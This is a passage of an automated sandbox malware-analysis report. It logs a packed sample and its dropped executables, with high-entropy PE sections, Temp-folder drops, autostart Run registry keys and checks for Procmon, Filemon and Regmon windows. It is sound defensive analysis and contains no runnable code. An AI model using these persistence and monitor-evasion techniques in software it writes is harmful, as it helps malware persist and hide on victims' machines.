Source: 20b68761b3.exe.26.dr Static PE information: section name: .rsrc
Source: 20b68761b3.exe.26.dr Static PE information: section name: .idata
Source: 20b68761b3.exe.26.dr Static PE information: section name: udbvbywm
Source: 20b68761b3.exe.26.dr Static PE information: section name: kynijqbn
Source: 20b68761b3.exe.26.dr Static PE information: section name: .taggant
Source: 572c19a989.exe.26.dr Static PE information: section name:
Source: 572c19a989.exe.26.dr Static PE information: section name: .rsrc
Source: 572c19a989.exe.26.dr Static PE information: section name: .idata
Source: 572c19a989.exe.26.dr Static PE information: section name:
Source: 572c19a989.exe.26.dr Static PE information: section name: yuntpzro
Source: 572c19a989.exe.26.dr Static PE information: section name: dfroebje
Source: 572c19a989.exe.26.dr Static PE information: section name: .taggant
Source: 66c6d84346.exe.26.dr Static PE information: section name:
Source: 66c6d84346.exe.26.dr Static PE information: section name: .rsrc
Source: 66c6d84346.exe.26.dr Static PE information: section name: .idata
Source: 66c6d84346.exe.26.dr Static PE information: section name: udbvbywm
Source: 66c6d84346.exe.26.dr Static PE information: section name: kynijqbn
Source: 66c6d84346.exe.26.dr Static PE information: section name: .taggant
Source: 768041f87c.exe.26.dr Static PE information: section name:
Source: 768041f87c.exe.26.dr Static PE information: section name: .rsrc
Source: 768041f87c.exe.26.dr Static PE information: section name: .idata
Source: 768041f87c.exe.26.dr Static PE information: section name:
Source: 768041f87c.exe.26.dr Static PE information: section name: yuntpzro
Source: 768041f87c.exe.26.dr Static PE information: section name: dfroebje
Source: 768041f87c.exe.26.dr Static PE information: section name: .taggant
Source: GA69253C3MXNERTO3N2QC0.exe.27.dr Static PE information: section name:
Source: GA69253C3MXNERTO3N2QC0.exe.27.dr Static PE information: section name: .idata
Source: GA69253C3MXNERTO3N2QC0.exe.27.dr Static PE information: section name:
Source: GA69253C3MXNERTO3N2QC0.exe.27.dr Static PE information: section name: evwdyikk
Source: GA69253C3MXNERTO3N2QC0.exe.27.dr Static PE information: section name: ewgqkdfw
Source: GA69253C3MXNERTO3N2QC0.exe.27.dr Static PE information: section name: .taggant
Source: OCYPTLCO9AJSRPZ2BR0OXVLD.exe.27.dr Static PE information: section name:
Source: OCYPTLCO9AJSRPZ2BR0OXVLD.exe.27.dr Static PE information: section name: .rsrc
Source: OCYPTLCO9AJSRPZ2BR0OXVLD.exe.27.dr Static PE information: section name: .idata
Source: OCYPTLCO9AJSRPZ2BR0OXVLD.exe.27.dr Static PE information: section name:
Source: OCYPTLCO9AJSRPZ2BR0OXVLD.exe.27.dr Static PE information: section name: yuntpzro
Source: OCYPTLCO9AJSRPZ2BR0OXVLD.exe.27.dr Static PE information: section name: dfroebje
Source: OCYPTLCO9AJSRPZ2BR0OXVLD.exe.27.dr Static PE information: section name: .taggant
Source: PNQRGRK1HGQJXXIGW87D2O4ERYK64Y.exe.30.dr Static PE information: section name:
Source: PNQRGRK1HGQJXXIGW87D2O4ERYK64Y.exe.30.dr Static PE information: section name: .idata
Source: PNQRGRK1HGQJXXIGW87D2O4ERYK64Y.exe.30.dr Static PE information: section name:
Source: PNQRGRK1HGQJXXIGW87D2O4ERYK64Y.exe.30.dr Static PE information: section name: evwdyikk
Source: PNQRGRK1HGQJXXIGW87D2O4ERYK64Y.exe.30.dr Static PE information: section name: ewgqkdfw
Source: PNQRGRK1HGQJXXIGW87D2O4ERYK64Y.exe.30.dr Static PE information: section name: .taggant
Source: 9ZQAVS2HIFCJRZ8VYRAJ0X35HFUX.exe.30.dr Static PE information: section name:
Source: 9ZQAVS2HIFCJRZ8VYRAJ0X35HFUX.exe.30.dr Static PE information: section name: .rsrc
Source: 9ZQAVS2HIFCJRZ8VYRAJ0X35HFUX.exe.30.dr Static PE information: section name: .idata
Source: 9ZQAVS2HIFCJRZ8VYRAJ0X35HFUX.exe.30.dr Static PE information: section name:
Source: 9ZQAVS2HIFCJRZ8VYRAJ0X35HFUX.exe.30.dr Static PE information: section name: yuntpzro
Source: 9ZQAVS2HIFCJRZ8VYRAJ0X35HFUX.exe.30.dr Static PE information: section name: dfroebje
Source: 9ZQAVS2HIFCJRZ8VYRAJ0X35HFUX.exe.30.dr Static PE information: section name: .taggant
Source: B9LAVL77AEHW335N4SC7G6A3335WY1I.exe.31.dr Static PE information: section name:
Source: B9LAVL77AEHW335N4SC7G6A3335WY1I.exe.31.dr Static PE information: section name: .idata
Source: B9LAVL77AEHW335N4SC7G6A3335WY1I.exe.31.dr Static PE information: section name:
Source: B9LAVL77AEHW335N4SC7G6A3335WY1I.exe.31.dr Static PE information: section name: evwdyikk
Source: B9LAVL77AEHW335N4SC7G6A3335WY1I.exe.31.dr Static PE information: section name: ewgqkdfw
Source: B9LAVL77AEHW335N4SC7G6A3335WY1I.exe.31.dr Static PE information: section name: .taggant
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_01181ABC push esi; retf 0020h 0_3_01181AF3
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_01181ABC push esi; retf 0020h 0_3_01181AF3
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_01181ABC push esi; retf 0020h 0_3_01181AF3
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_011818B4 push esi; retf 0020h 0_3_01181AF3
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_011818B4 push esi; retf 0020h 0_3_01181AF3
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_011818B4 push esi; retf 0020h 0_3_01181AF3
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_01181ABC push esi; retf 0020h 0_3_01181AF3
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_01181ABC push esi; retf 0020h 0_3_01181AF3
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_01181ABC push esi; retf 0020h 0_3_01181AF3
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_011818B4 push esi; retf 0020h 0_3_01181AF3
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_011818B4 push esi; retf 0020h 0_3_01181AF3
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_011818B4 push esi; retf 0020h 0_3_01181AF3
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_01181ABC push esi; retf 0020h 0_3_01181AF3
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_01181ABC push esi; retf 0020h 0_3_01181AF3
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_01181ABC push esi; retf 0020h 0_3_01181AF3
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_011818B4 push esi; retf 0020h 0_3_01181AF3
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_011818B4 push esi; retf 0020h 0_3_01181AF3
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_011818B4 push esi; retf 0020h 0_3_01181AF3
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_01181ABC push esi; retf 0020h 0_3_01181AF3
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_01181ABC push esi; retf 0020h 0_3_01181AF3
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_01181ABC push esi; retf 0020h 0_3_01181AF3
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_011818B4 push esi; retf 0020h 0_3_01181AF3
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_011818B4 push esi; retf 0020h 0_3_01181AF3
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_011818B4 push esi; retf 0020h 0_3_01181AF3
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_01181ABC push esi; retf 0020h 0_3_01181AF3
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_01181ABC push esi; retf 0020h 0_3_01181AF3
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_01181ABC push esi; retf 0020h 0_3_01181AF3
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_011818B4 push esi; retf 0020h 0_3_01181AF3
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_011818B4 push esi; retf 0020h 0_3_01181AF3
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_011818B4 push esi; retf 0020h 0_3_01181AF3
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_01181ABC push esi; retf 0020h 0_3_01181AF3
Source: file.exe Static PE information: section name: entropy: 7.978374848132016
Source: KGMUJDGOAL6LWD7UD45LIZ.exe.0.dr Static PE information: section name: entropy: 7.981808784946074
Source: KGMUJDGOAL6LWD7UD45LIZ.exe.0.dr Static PE information: section name: evwdyikk entropy: 7.954269809468136
Source: 2SGVUOBNN8HUJ5IDUWDR.exe.0.dr Static PE information: section name: yuntpzro entropy: 7.954094538527286
Source: skotes.exe.4.dr Static PE information: section name: entropy: 7.981808784946074
Source: skotes.exe.4.dr Static PE information: section name: evwdyikk entropy: 7.954269809468136
Source: random[1].exe.26.dr Static PE information: section name: entropy: 7.978374848132016
Source: 9b7d422018.exe.26.dr Static PE information: section name: entropy: 7.978374848132016
Source: random[1].exe0.26.dr Static PE information: section name: yuntpzro entropy: 7.954094538527286
Source: a4769912c1.exe.26.dr Static PE information: section name: yuntpzro entropy: 7.954094538527286
Source: 48bf814d33.exe.26.dr Static PE information: section name: entropy: 7.978374848132016
Source: 7617eef03d.exe.26.dr Static PE information: section name: yuntpzro entropy: 7.954094538527286
Source: 20b68761b3.exe.26.dr Static PE information: section name: entropy: 7.978374848132016
Source: 572c19a989.exe.26.dr Static PE information: section name: yuntpzro entropy: 7.954094538527286
Source: 66c6d84346.exe.26.dr Static PE information: section name: entropy: 7.978374848132016
Source: 768041f87c.exe.26.dr Static PE information: section name: yuntpzro entropy: 7.954094538527286
Source: GA69253C3MXNERTO3N2QC0.exe.27.dr Static PE information: section name: entropy: 7.981808784946074
Source: GA69253C3MXNERTO3N2QC0.exe.27.dr Static PE information: section name: evwdyikk entropy: 7.954269809468136
Source: OCYPTLCO9AJSRPZ2BR0OXVLD.exe.27.dr Static PE information: section name: yuntpzro entropy: 7.954094538527286
Source: PNQRGRK1HGQJXXIGW87D2O4ERYK64Y.exe.30.dr Static PE information: section name: entropy: 7.981808784946074
Source: PNQRGRK1HGQJXXIGW87D2O4ERYK64Y.exe.30.dr Static PE information: section name: evwdyikk entropy: 7.954269809468136
Source: 9ZQAVS2HIFCJRZ8VYRAJ0X35HFUX.exe.30.dr Static PE information: section name: yuntpzro entropy: 7.954094538527286
Source: B9LAVL77AEHW335N4SC7G6A3335WY1I.exe.31.dr Static PE information: section name: entropy: 7.981808784946074
Source: B9LAVL77AEHW335N4SC7G6A3335WY1I.exe.31.dr Static PE information: section name: evwdyikk entropy: 7.954269809468136
Drops PE files
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe File created: C:\Users\user\AppData\Local\Temp\TWGY675O6RDQPKG6OE4IM311M9A2JP.exe Jump to dropped file
Source: C:\Users\user\Desktop\file.exe File created: C:\Users\user\AppData\Local\Temp\2SGVUOBNN8HUJ5IDUWDR.exe Jump to dropped file
Source: C:\Users\user\Desktop\file.exe File created: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe Jump to dropped file
Source: C:\Program Files\Mozilla Firefox\firefox.exe File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\gmp-gmpopenh264\1.8.1.2\gmpopenh264.dll.tmp Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe Jump to dropped file
Source: C:\Program Files\Mozilla Firefox\firefox.exe File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\gmp-gmpopenh264\1.8.1.2\gmpopenh264.dll (copy) Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Temp\1000494001\572c19a989.exe Jump to dropped file
Source: C:\Users\user\Desktop\file.exe File created: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe File created: C:\Users\user\AppData\Local\Temp\9ZQAVS2HIFCJRZ8VYRAJ0X35HFUX.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Temp\1000496001\768041f87c.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe File created: C:\Users\user\AppData\Local\Temp\GA69253C3MXNERTO3N2QC0.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe File created: C:\Users\user\AppData\Local\Temp\B9LAVL77AEHW335N4SC7G6A3335WY1I.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe File created: C:\Users\user\AppData\Local\Temp\OCYPTLCO9AJSRPZ2BR0OXVLD.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe File created: C:\Users\user\AppData\Local\Temp\PNQRGRK1HGQJXXIGW87D2O4ERYK64Y.exe Jump to dropped file

Boot Survival
barindex
Creates multiple autostart registry keys
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 7617eef03d.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 572c19a989.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 66c6d84346.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run a4769912c1.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 48bf814d33.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 768041f87c.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 20b68761b3.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 9b7d422018.exe
Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)
Source: C:\Users\user\Desktop\file.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: Regmonclass Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: Filemonclass Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: Regmonclass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2SGVUOBNN8HUJ5IDUWDR.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2SGVUOBNN8HUJ5IDUWDR.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2SGVUOBNN8HUJ5IDUWDR.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2SGVUOBNN8HUJ5IDUWDR.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2SGVUOBNN8HUJ5IDUWDR.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1000494001\572c19a989.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1000494001\572c19a989.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1000494001\572c19a989.exe Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1000494001\572c19a989.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1000494001\572c19a989.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1000494001\572c19a989.exe Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1000494001\572c19a989.exe Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1000494001\572c19a989.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1000496001\768041f87c.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1000496001\768041f87c.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1000496001\768041f87c.exe Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1000496001\768041f87c.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1000496001\768041f87c.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1000496001\768041f87c.exe Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1000496001\768041f87c.exe Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1000496001\768041f87c.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe Window searched: window name: FilemonClass
